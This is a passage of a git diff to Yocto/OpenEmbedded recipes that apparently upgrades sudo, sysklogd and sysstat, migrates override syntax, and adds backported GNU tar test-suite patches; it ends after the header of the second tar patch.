@@ -3,12 +3,11 @@ DESCRIPTION = "Sudo (superuser do) allows a system administrator to give certain
HOMEPAGE = "http://www.sudo.ws"
BUGTRACKER = "http://www.sudo.ws/bugs/"
SECTION = "admin"
-LICENSE = "ISC & BSD & Zlib"
-LIC_FILES_CHKSUM = "file://doc/LICENSE;md5=828cd502ad216ff869bf83adf3301e02 \
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & Zlib"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=5100e20d35f9015f9eef6bdb27ba194f \
file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=03e35317699ba00b496251e0dfe9f109 \
file://lib/util/reallocarray.c;beginline=3;endline=15;md5=397dd45c7683e90b9f8bf24638cf03bf \
file://lib/util/fnmatch.c;beginline=3;endline=27;md5=004d7d2866ba1f5b41174906849d2e0f \
- file://lib/util/getcwd.c;beginline=2;endline=27;md5=50f8d9667750e18dea4e84a935c12009 \
file://lib/util/glob.c;beginline=2;endline=31;md5=2852f68687544e3eb8a0a61665506f0e \
file://lib/util/snprintf.c;beginline=3;endline=33;md5=b70df6179969e38fcf68da91b53b8029 \
file://include/sudo_queue.h;beginline=2;endline=27;md5=ad578e9664d17a010b63e4bc0576ee8d \
@@ -23,22 +22,20 @@ inherit autotools
PACKAGECONFIG ??= ""
PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
PACKAGECONFIG[pam-wheel] = ",,,pam-plugin-wheel"
-
-CONFFILES_${PN} = "${sysconfdir}/sudoers"
+PACKAGECONFIG[audit] = "--with-linux-audit,--without-linux-audit,audit"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
EXTRA_OECONF = "--with-editor=${base_bindir}/vi --with-env-editor"
-EXTRA_OECONF_append_libc-musl = " --disable-hardening "
+EXTRA_OECONF:append:libc-musl = " --disable-hardening "
-# mksigname/mksiglist are used on build host to generate source files
-do_compile_prepend () {
- # Remove build host references from sudo_usage.h
- sed -i \
- -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's,--build=${BUILD_SYS},,g' \
- -e 's,--host=${HOST_SYS},,g' \
- ${B}/src/sudo_usage.h
- oe_runmake SSP_CFLAGS="" SSP_LDFLAGS="" CC="$BUILD_CC" CFLAGS="$BUILD_CFLAGS" CPPFLAGS="$BUILD_CPPFLAGS -I${S}/include -I${S} -I${B}" -C lib/util mksigname mksiglist
+do_compile:prepend () {
+ # Remove build host references from config.h
+ sed -i \
+ -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's,--build=${BUILD_SYS},,g' \
+ -e 's,--host=${HOST_SYS},,g' \
+ ${B}/config.h
}
# Explicitly create ${localstatedir}/lib before do_install to ensure
@@ -46,6 +43,8 @@ do_compile_prepend () {
# script (from sudo) will recursively create ${localstatedir}/lib/sudo
# and then chmod each directory with 0700 permissions, which isn't what
# we want (i.e, users would not be able to access /var/lib).
-do_install_prepend (){
+do_install:prepend (){
mkdir -p ${D}/${localstatedir}/lib
}
+
+CVE_VERSION_SUFFIX = "patch"
diff --git a/meta/recipes-extended/sudo/sudo_1.9.15p5.bb b/meta/recipes-extended/sudo/sudo_1.9.15p5.bb
new file mode 100644
index 0000000000..8e542015ad
--- /dev/null
+++ b/meta/recipes-extended/sudo/sudo_1.9.15p5.bb
@@ -0,0 +1,61 @@
+require sudo.inc
+
+SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://0001-sudo.conf.in-fix-conflict-with-multilib.patch \
+ "
+
+PAM_SRC_URI = "file://sudo.pam"
+
+SRC_URI[sha256sum] = "558d10b9a1991fb3b9fa7fa7b07ec4405b7aefb5b3cb0b0871dbc81e3a88e558"
+
+DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+RDEPENDS:${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
+
+CACHED_CONFIGUREVARS = " \
+ ac_cv_type_rsize_t=no \
+ ac_cv_path_MVPROG=${base_bindir}/mv \
+ ac_cv_path_BSHELLPROG=${base_bindir}/sh \
+ ac_cv_path_SENDMAILPROG=${sbindir}/sendmail \
+ ac_cv_path_VIPROG=${base_bindir}/vi \
+ "
+
+EXTRA_OECONF += " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
+ --with-rundir=/run/sudo \
+ --with-vardir=/var/lib/sudo \
+ --libexecdir=${libdir} \
+ "
+
+do_install:append () {
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
+ echo 'auth required pam_wheel.so use_uid' >>${D}${sysconfdir}/pam.d/sudo
+ sed -i 's/# \(%wheel ALL=(ALL) ALL\)/\1/' ${D}${sysconfdir}/sudoers
+ fi
+ fi
+
+ chmod 4111 ${D}${bindir}/sudo
+ chmod 0440 ${D}${sysconfdir}/sudoers
+
+ # Explicitly remove the /sudo directory to avoid QA error
+ rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
+}
+
+FILES:${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \
+ ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la"
+
+CONFFILES:${PN}-lib = "${sysconfdir}/sudoers"
+
+SUDO_PACKAGES = "${PN}-sudo\
+ ${PN}-lib"
+
+PACKAGE_BEFORE_PN = "${SUDO_PACKAGES}"
+
+RDEPENDS:${PN}-sudo = "${PN}-lib"
+RDEPENDS:${PN} += "${SUDO_PACKAGES}"
+
+FILES:${PN}-sudo = "${bindir}/sudo ${bindir}/sudoedit"
+FILES:${PN}-lib = "${localstatedir} ${libexecdir} ${sysconfdir} ${libdir} ${nonarch_libdir}"
diff --git a/meta/recipes-extended/sudo/sudo_1.9.2.bb b/meta/recipes-extended/sudo/sudo_1.9.2.bb
deleted file mode 100644
index 5756b2e146..0000000000
--- a/meta/recipes-extended/sudo/sudo_1.9.2.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-require sudo.inc
-
-SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- "
-
-PAM_SRC_URI = "file://sudo.pam"
-
-SRC_URI[sha256sum] = "7c98d201f181c47152711b9f391e0f6b5545f3ef8926298a3e8bc6288e118314"
-
-DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
-
-CACHED_CONFIGUREVARS = " \
- ac_cv_type_rsize_t=no \
- ac_cv_path_MVPROG=${base_bindir}/mv \
- ac_cv_path_BSHELLPROG=${base_bindir}/sh \
- ac_cv_path_SENDMAILPROG=${sbindir}/sendmail \
- ac_cv_path_VIPROG=${base_bindir}/vi \
- "
-
-EXTRA_OECONF += " \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
- --with-rundir=/run/sudo \
- --with-vardir=/var/lib/sudo \
- "
-
-do_install_append () {
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
- if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
- echo 'auth required pam_wheel.so use_uid' >>${D}${sysconfdir}/pam.d/sudo
- sed -i 's/# \(%wheel ALL=(ALL) ALL\)/\1/' ${D}${sysconfdir}/sudoers
- fi
- fi
-
- chmod 4111 ${D}${bindir}/sudo
- chmod 0440 ${D}${sysconfdir}/sudoers
-
- # Explicitly remove the /sudo directory to avoid QA error
- rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
-}
-
-FILES_${PN} += "${nonarch_libdir}/tmpfiles.d"
-FILES_${PN}-dev += "${libexecdir}/${BPN}/lib*${SOLIBSDEV} ${libexecdir}/${BPN}/*.la \
- ${libexecdir}/lib*${SOLIBSDEV} ${libexecdir}/*.la"
diff --git a/meta/recipes-extended/sysklogd/files/sysklogd b/meta/recipes-extended/sysklogd/files/sysklogd
index 2a356a637a..050772b59d 100755
--- a/meta/recipes-extended/sysklogd/files/sysklogd
+++ b/meta/recipes-extended/sysklogd/files/sysklogd
@@ -22,6 +22,9 @@ binpath_syslogd=/usr/sbin/syslogd
test -x $binpath || exit 0
+# run secure by default
+SYSLOGD="-ss"
+
test ! -r /etc/default/syslogd || . /etc/default/syslogd
create_xconsole()
diff --git a/meta/recipes-extended/sysklogd/sysklogd.inc b/meta/recipes-extended/sysklogd/sysklogd.inc
deleted file mode 100644
index 2e3d9831b1..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd.inc
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "System Log Daemons"
-DESCRIPTION = "The sysklogd package implements system log daemons: syslogd"
-HOMEPAGE = "http://www.infodrom.org/projects/sysklogd/"
-SECTION = "base"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \
- file://src/syslogd.c;beginline=2;endline=15;md5=a880fecbc04503f071c494a9c0dd4f97 \
- "
-
-inherit update-rc.d update-alternatives systemd autotools
-
-SRC_URI = "git://github.com/troglobit/sysklogd.git;nobranch=1 \
- file://sysklogd \
- "
-S = "${WORKDIR}/git"
-
-EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger"
-
-do_install_append () {
- install -d ${D}${sysconfdir}
- install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf
- install -d ${D}${sysconfdir}/init.d
- install -m 755 ${WORKDIR}/sysklogd ${D}${sysconfdir}/init.d/syslog
-}
-
-SYSTEMD_PACKAGES = "${PN}"
-SYSTEMD_SERVICE_${PN} = "syslogd.service"
-SYSTEMD_AUTO_ENABLE = "enable"
-
-INITSCRIPT_NAME = "syslog"
-CONFFILES_${PN} = "${sysconfdir}/syslog.conf"
-RCONFLICTS_${PN} = "rsyslog busybox-syslog syslog-ng"
-
-FILES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-doc = "syslogd.8"
-ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
-
-pkg_prerm_${PN} () {
- if test "x$D" = "x"; then
- if test "$1" = "upgrade" -o "$1" = "remove"; then
- /etc/init.d/syslog stop || :
- fi
- fi
-}
-
-python () {
- if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
- d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
-}
diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb b/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb
deleted file mode 100644
index 2917c2aae0..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-require sysklogd.inc
-
-SRCREV = "6d6010add698370fc7d9828f0aaa18613dd2397f"
diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb b/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb
new file mode 100644
index 0000000000..c9c9055142
--- /dev/null
+++ b/meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb
@@ -0,0 +1,56 @@
+SUMMARY = "System Log Daemons"
+DESCRIPTION = "The sysklogd package implements system log daemons: syslogd"
+HOMEPAGE = "http://www.infodrom.org/projects/sysklogd/"
+SECTION = "base"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \
+ file://src/syslogd.c;beginline=2;endline=15;md5=a880fecbc04503f071c494a9c0dd4f97 \
+ "
+
+inherit update-rc.d update-alternatives systemd autotools
+
+SRC_URI = "git://github.com/troglobit/sysklogd.git;branch=master;protocol=https \
+ file://sysklogd \
+ "
+
+SRCREV = "3332c550f1a68393daec5d64cd81f3b7674c0af5"
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}
+ install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf
+ install -d ${D}${sysconfdir}/init.d
+ install -m 755 ${WORKDIR}/sysklogd ${D}${sysconfdir}/init.d/syslog
+}
+
+SYSTEMD_PACKAGES = "${PN}"
+SYSTEMD_SERVICE:${PN} = "syslogd.service"
+SYSTEMD_AUTO_ENABLE = "enable"
+
+INITSCRIPT_NAME = "syslog"
+CONFFILES:${PN} = "${sysconfdir}/syslog.conf"
+RCONFLICTS:${PN} = "rsyslog busybox-syslog syslog-ng"
+
+FILES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-doc = "syslogd.8"
+ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
+
+pkg_prerm:${PN} () {
+ if test "x$D" = "x"; then
+ if test "$1" = "upgrade" -o "$1" = "remove"; then
+ /etc/init.d/syslog stop || :
+ fi
+ fi
+}
+
+python () {
+ if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
+ d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+}
diff --git a/meta/recipes-extended/sysstat/sysstat.inc b/meta/recipes-extended/sysstat/sysstat.inc
deleted file mode 100644
index 8fd87b943b..0000000000
--- a/meta/recipes-extended/sysstat/sysstat.inc
+++ /dev/null
@@ -1,67 +0,0 @@
-SUMMARY = "System performance tools"
-DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux."
-HOMEPAGE = "http://sebastien.godard.pagesperso-orange.fr/"
-LICENSE = "GPLv2+"
-SECTION = "console/utils"
-
-SRC_URI = "http://pagesperso-orange.fr/sebastien.godard/${BP}.tar.xz \
- file://99_sysstat \
- file://sysstat.service \
- "
-
-UPSTREAM_CHECK_URI = "http://sebastien.godard.pagesperso-orange.fr/download.html"
-
-DEPENDS += "base-passwd"
-
-# autotools-brokensep as this package doesn't use automake
-inherit autotools-brokensep gettext systemd upstream-version-is-even
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[lm-sensors] = "--enable-sensors,--disable-sensors,lmsensors,lmsensors-libsensors"
-PACKAGECONFIG[cron] = "--enable-install-cron --enable-copy-only,--disable-install-cron --disable-copy-only"
-PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}"
-
-EXTRA_OECONF += "--disable-stripping"
-
-do_configure_prepend() {
- export sa_lib_dir=${libexecdir}/sa
-}
-
-do_install() {
- autotools_do_install
-
- # Don't version the documentation
- mv ${D}${docdir}/${BP} ${D}${docdir}/${BPN}
-
- # don't install /var/log/sa when populating rootfs. Do it through volatile
- rm -rf ${D}/var
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_sysstat ${D}/etc/default/volatiles
- fi
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
- echo "d ${localstatedir}/log/sa - - - -" \
- > ${D}${sysconfdir}/tmpfiles.d/sysstat.conf
-
- # Unless both cron and systemd are enabled, install our own
- # systemd unit file. Otherwise the package will install one.
- if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_unitdir}/system
- sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_unitdir}/system/sysstat.service
- fi
- fi
-}
-
-pkg_postinst_${PN} () {
- if [ ! -n "$D" ]; then
- if [ -e /etc/init.d/populate-volatile.sh ]; then
- /etc/init.d/populate-volatile.sh update
- fi
- fi
-}
-
-FILES_${PN} += "${systemd_system_unitdir}"
-
-TARGET_CC_ARCH += "${LDFLAGS}"
diff --git a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
index 4067bb983b..84383f955f 100644
--- a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
+++ b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
@@ -1,7 +1,7 @@
From 1590cc614aaf0fb81cd804414d6c9d5a9227352c Mon Sep 17 00:00:00 2001
From: Wenlin Kang <wenlin.kang@windriver.com>
Date: Tue, 5 Nov 2019 16:16:44 +0800
-Subject: [PATCH] configure.in: remove check for chkconfig
+Subject: [PATCH] configure.ac: remove check for chkconfig
chkconfig can't work on cross-platform, so should remove check for it.
@@ -9,13 +9,13 @@ Upstream-Status: Inappropriate [ embedded specific ]
Signed-off-by: Wenlin Kang <wenlin.kang@windriver.com>
---
- configure.in | 3 ++-
+ configure.ac | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
-diff --git a/configure.in b/configure.in
+diff --git a/configure.ac b/configure.ac
index 48b9a31..cedeb43 100644
---- a/configure.in
-+++ b/configure.in
+--- a/configure.ac
++++ b/configure.ac
@@ -42,7 +42,8 @@ AC_SUBST(VER_JSON)
AC_SUBST(VER_XML)
diff --git a/meta/recipes-extended/sysstat/sysstat_12.2.2.bb b/meta/recipes-extended/sysstat/sysstat_12.2.2.bb
deleted file mode 100644
index 333d10295a..0000000000
--- a/meta/recipes-extended/sysstat/sysstat_12.2.2.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require sysstat.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
-
-SRC_URI += "file://0001-configure.in-remove-check-for-chkconfig.patch"
-
-SRC_URI[md5sum] = "1073fdf7bba58483a467a8a0681beeda"
-SRC_URI[sha256sum] = "78388b64acec81378b962e66b40e57acd4b18ff17a849bc9308f95d290248c9c"
diff --git a/meta/recipes-extended/sysstat/sysstat_12.7.5.bb b/meta/recipes-extended/sysstat/sysstat_12.7.5.bb
new file mode 100644
index 0000000000..150f4932d8
--- /dev/null
+++ b/meta/recipes-extended/sysstat/sysstat_12.7.5.bb
@@ -0,0 +1,80 @@
+SUMMARY = "System performance tools"
+DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux."
+HOMEPAGE = "https://sysstat.github.io/"
+LICENSE = "GPL-2.0-or-later"
+SECTION = "console/utils"
+
+SRC_URI = "git://github.com/sysstat/sysstat.git;protocol=https;branch=master \
+ file://99_sysstat \
+ file://sysstat.service \
+ file://0001-configure.in-remove-check-for-chkconfig.patch \
+ "
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
+
+SRCREV = "2d7682f26f42cef9127b123e319349b330c4ab8f"
+S = "${WORKDIR}/git"
+
+DEPENDS += "base-passwd"
+
+# autotools-brokensep as this package doesn't use automake
+inherit autotools-brokensep gettext systemd
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[lm-sensors] = "--enable-sensors,--disable-sensors,lmsensors,lmsensors-libsensors"
+PACKAGECONFIG[cron] = "--enable-install-cron --enable-copy-only,--disable-install-cron --disable-copy-only"
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}"
+
+EXTRA_OECONF += "--disable-stripping"
+
+SYSTEMD_PACKAGES = "${PN}"
+SYSTEMD_SERVICE:${PN} = "sysstat.service"
+SYSTEMD_AUTO_ENABLE = "enable"
+
+do_configure:prepend() {
+ export sa_lib_dir=${libexecdir}/sa
+}
+
+do_install() {
+ autotools_do_install
+
+ # Don't version the documentation
+ mv ${D}${docdir}/${BP} ${D}${docdir}/${BPN}
+
+ # don't install /var/log/sa when populating rootfs. Do it through volatile
+ rm -rf ${D}/var
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_sysstat ${D}/etc/default/volatiles
+ fi
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
+ echo "d ${localstatedir}/log/sa - - - -" \
+ > ${D}${nonarch_libdir}/tmpfiles.d/sysstat.conf
+
+ # Unless both cron and systemd are enabled, install our own
+ # systemd unit file. Otherwise the package will install one.
+ if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_system_unitdir}
+ sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_system_unitdir}/sysstat.service
+ fi
+ fi
+}
+
+pkg_postinst:${PN} () {
+ if [ ! -n "$D" ]; then
+ if [ -e /etc/init.d/populate-volatile.sh ]; then
+ /etc/init.d/populate-volatile.sh update
+ fi
+ fi
+}
+
+FILES:${PN} += " \
+ ${systemd_system_unitdir} \
+ ${nonarch_base_libdir}/systemd \
+ ${nonarch_libdir}/tmpfiles.d \
+"
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
diff --git a/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch b/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
new file mode 100644
index 0000000000..27d4d9aebf
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
@@ -0,0 +1,228 @@
+From 39849e9d91f477d3fb839f93cd0815d0cb3273e9 Mon Sep 17 00:00:00 2001
+From: Paul Eggert <eggert@cs.ucla.edu>
+Date: Tue, 18 Jul 2023 09:15:03 -0700
+Subject: tests: fix TESTSUITE_AT
+
+Problem reported by Lukas Javorsky <ljavorsk@redhat.com> in:
+https://lists.gnu.org/r/bug-tar/2023-07/msg00002.html
+* tests/Makefile.am (TESTSUITE_AT): Add exclude17.at, exclude18.at.
+Remove compress.m4; all uses changed. Add a comment saying how
+to rederive this. Sort.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=39849e9d91f477d3fb839f93cd0815d0cb3273e9]
+---
+ tests/Makefile.am | 93 ++++++++++++++++++++++++++++---------------------------
+ 1 file changed, 48 insertions(+), 45 deletions(-)
+
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index 4a8f501..1884b72 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -45,21 +45,24 @@ $(srcdir)/package.m4: $(top_srcdir)/configure.ac
+ ## Test suite. ##
+ ## ------------ ##
+
++# You can generate the body of this macro with the following shell command:
++# LC_ALL=C ls *.at */*.at | sed -e 's/^/ /' -e '$!s/$/\\/'
+ TESTSUITE_AT = \
+- testsuite.at\
+- compress.m4\
+ T-cd.at\
+ T-dir00.at\
+ T-dir01.at\
+ T-empty.at\
++ T-mult.at\
++ T-nest.at\
++ T-nonl.at\
+ T-null.at\
+ T-null2.at\
+ T-rec.at\
+ T-recurse.at\
+ T-zfile.at\
+- T-nonl.at\
+- T-mult.at\
+- T-nest.at\
++ acls01.at\
++ acls02.at\
++ acls03.at\
+ add-file.at\
+ append.at\
+ append01.at\
+@@ -68,14 +71,15 @@ TESTSUITE_AT = \
+ append04.at\
+ append05.at\
+ backup01.at\
+- chtype.at\
+- comprec.at\
+- comperr.at\
++ capabs_raw01.at\
+ checkpoint/defaults.at\
+- checkpoint/interval.at\
+- checkpoint/dot.at\
+ checkpoint/dot-compat.at\
+ checkpoint/dot-int.at\
++ checkpoint/dot.at\
++ checkpoint/interval.at\
++ chtype.at\
++ comperr.at\
++ comprec.at\
+ delete01.at\
+ delete02.at\
+ delete03.at\
+@@ -83,6 +87,8 @@ TESTSUITE_AT = \
+ delete05.at\
+ delete06.at\
+ difflink.at\
++ dirrem01.at\
++ dirrem02.at\
+ exclude.at\
+ exclude01.at\
+ exclude02.at\
+@@ -100,6 +106,8 @@ TESTSUITE_AT = \
+ exclude14.at\
+ exclude15.at\
+ exclude16.at\
++ exclude17.at\
++ exclude18.at\
+ extrac01.at\
+ extrac02.at\
+ extrac03.at\
+@@ -127,11 +135,9 @@ TESTSUITE_AT = \
+ extrac25.at\
+ filerem01.at\
+ filerem02.at\
+- dirrem01.at\
+- dirrem02.at\
+- gzip.at\
+ grow.at\
+- incremental.at\
++ gzip.at\
++ ignfail.at\
+ incr01.at\
+ incr02.at\
+ incr03.at\
+@@ -143,8 +149,8 @@ TESTSUITE_AT = \
+ incr09.at\
+ incr10.at\
+ incr11.at\
++ incremental.at\
+ indexfile.at\
+- ignfail.at\
+ label01.at\
+ label02.at\
+ label03.at\
+@@ -188,22 +194,16 @@ TESTSUITE_AT = \
+ opcomp04.at\
+ opcomp05.at\
+ opcomp06.at\
+- positional01.at\
+- positional02.at\
+- positional03.at\
+ options.at\
+ options02.at\
+ options03.at\
+ owner.at\
+ pipe.at\
+- recurse.at\
++ positional01.at\
++ positional02.at\
++ positional03.at\
+ recurs02.at\
+- rename01.at\
+- rename02.at\
+- rename03.at\
+- rename04.at\
+- rename05.at\
+- rename06.at\
++ recurse.at\
+ remfiles01.at\
+ remfiles02.at\
+ remfiles03.at\
+@@ -226,11 +226,19 @@ TESTSUITE_AT = \
+ remfiles09b.at\
+ remfiles09c.at\
+ remfiles10.at\
++ rename01.at\
++ rename02.at\
++ rename03.at\
++ rename04.at\
++ rename05.at\
++ rename06.at\
+ same-order01.at\
+ same-order02.at\
++ selacl01.at\
++ selnx01.at\
+ shortfile.at\
+- shortupd.at\
+ shortrec.at\
++ shortupd.at\
+ sigpipe.at\
+ sparse01.at\
+ sparse02.at\
+@@ -247,6 +255,13 @@ TESTSUITE_AT = \
+ sptrcreat.at\
+ sptrdiff00.at\
+ sptrdiff01.at\
++ star/gtarfail.at\
++ star/gtarfail2.at\
++ star/multi-fail.at\
++ star/pax-big-10g.at\
++ star/ustar-big-2g.at\
++ star/ustar-big-8g.at\
++ testsuite.at\
+ time01.at\
+ time02.at\
+ truncate.at\
+@@ -255,21 +270,11 @@ TESTSUITE_AT = \
+ update02.at\
+ update03.at\
+ update04.at\
+- volsize.at\
+- volume.at\
+ verbose.at\
+ verify.at\
+ version.at\
+- xform-h.at\
+- xform01.at\
+- xform02.at\
+- xform03.at\
+- star/gtarfail.at\
+- star/gtarfail2.at\
+- star/multi-fail.at\
+- star/ustar-big-2g.at\
+- star/ustar-big-8g.at\
+- star/pax-big-10g.at\
++ volsize.at\
++ volume.at\
+ xattr01.at\
+ xattr02.at\
+ xattr03.at\
+@@ -278,12 +283,10 @@ TESTSUITE_AT = \
+ xattr06.at\
+ xattr07.at\
+ xattr08.at\
+- acls01.at\
+- acls02.at\
+- acls03.at\
+- selnx01.at\
+- selacl01.at\
+- capabs_raw01.at
++ xform-h.at\
++ xform01.at\
++ xform02.at\
++ xform03.at
+
+ distclean-local:
+ -rm -rf download
+@@ -291,7 +294,7 @@ distclean-local:
+ TESTSUITE = $(srcdir)/testsuite
+
+ AUTOTEST = $(AUTOM4TE) --language=autotest
+-$(TESTSUITE): package.m4 $(TESTSUITE_AT)
++$(TESTSUITE): compress.m4 package.m4 $(TESTSUITE_AT)
+ $(AUTOTEST) -I $(srcdir) testsuite.at -o $@.tmp
+ mv $@.tmp $@
+
+--
+cgit v1.1
+
diff --git a/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch b/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
new file mode 100644
index 0000000000..6cd8c5510f
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
@@ -0,0 +1,60 @@
+From 0f0722df45ec520d0dac7c9ad7e69165e9140931 Mon Sep 17 00:00:00 2001
+From: Paul Eggert <eggert@cs.ucla.edu>
+Date: Fri, 7 Oct 2022 15:22:07 -0700
+Subject: tests: check for recently-fixed bug
+
+* tests/exclude17.at: New file.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=0f0722df45ec520d0dac7c9ad7e69165e9140931]
+
+Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
+
+---
+ tests/exclude17.at | 35 +++++++++++++++++++++++++++++++++++
+ 1 files changed, 35 insertions(+)
+ create mode 100644 tests/exclude17.at
+
